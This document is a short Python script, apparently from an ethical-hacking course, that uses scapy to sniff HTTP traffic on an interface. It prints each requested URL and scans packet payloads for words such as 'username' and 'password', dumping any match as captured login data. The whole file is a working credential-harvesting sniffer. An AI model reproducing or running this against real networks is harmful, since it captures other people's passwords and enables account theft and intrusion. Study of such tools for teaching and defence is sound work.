packet_sniffer.py

import scapy.all as scapy
from scapy.layers import http

def sniff(interface):
    scapy.sniff(iface = interface, store = False, prn = process_sniffed_packet)

def get_url(packet):
    return packet[http.HTTPRequest].Host.decode() + packet[http.HTTPRequest].Path.decode() # Python2 vs Python3 .decode() or str(packet.[HTTP...Path) used to convert byte data into str data

def get_login_info(packet):
    if packet.haslayer(scapy.Raw):  # Normally used
        load = packet[scapy.Raw].load.decode(errors="ignore") # CHECKING IF SUBSTRING EXIST (THEN PRINT IT)
        keywords = ["username", "user", "login", "password", "pass"]  # check for other names like login or email
        for keyword in keywords:
            if keyword in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):                                                    # haslayer method, layer can HTTP, TCP etc USABLE BECAUSE WE INSTALLED SCAPY HTTP
        # print(packet.show())
        url = get_url(packet)
        print("[+] HTTP Request >> " + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible keyword > " + login_info + "\n\n")

sniff("eth0") # name of the internet lan interface you are targeting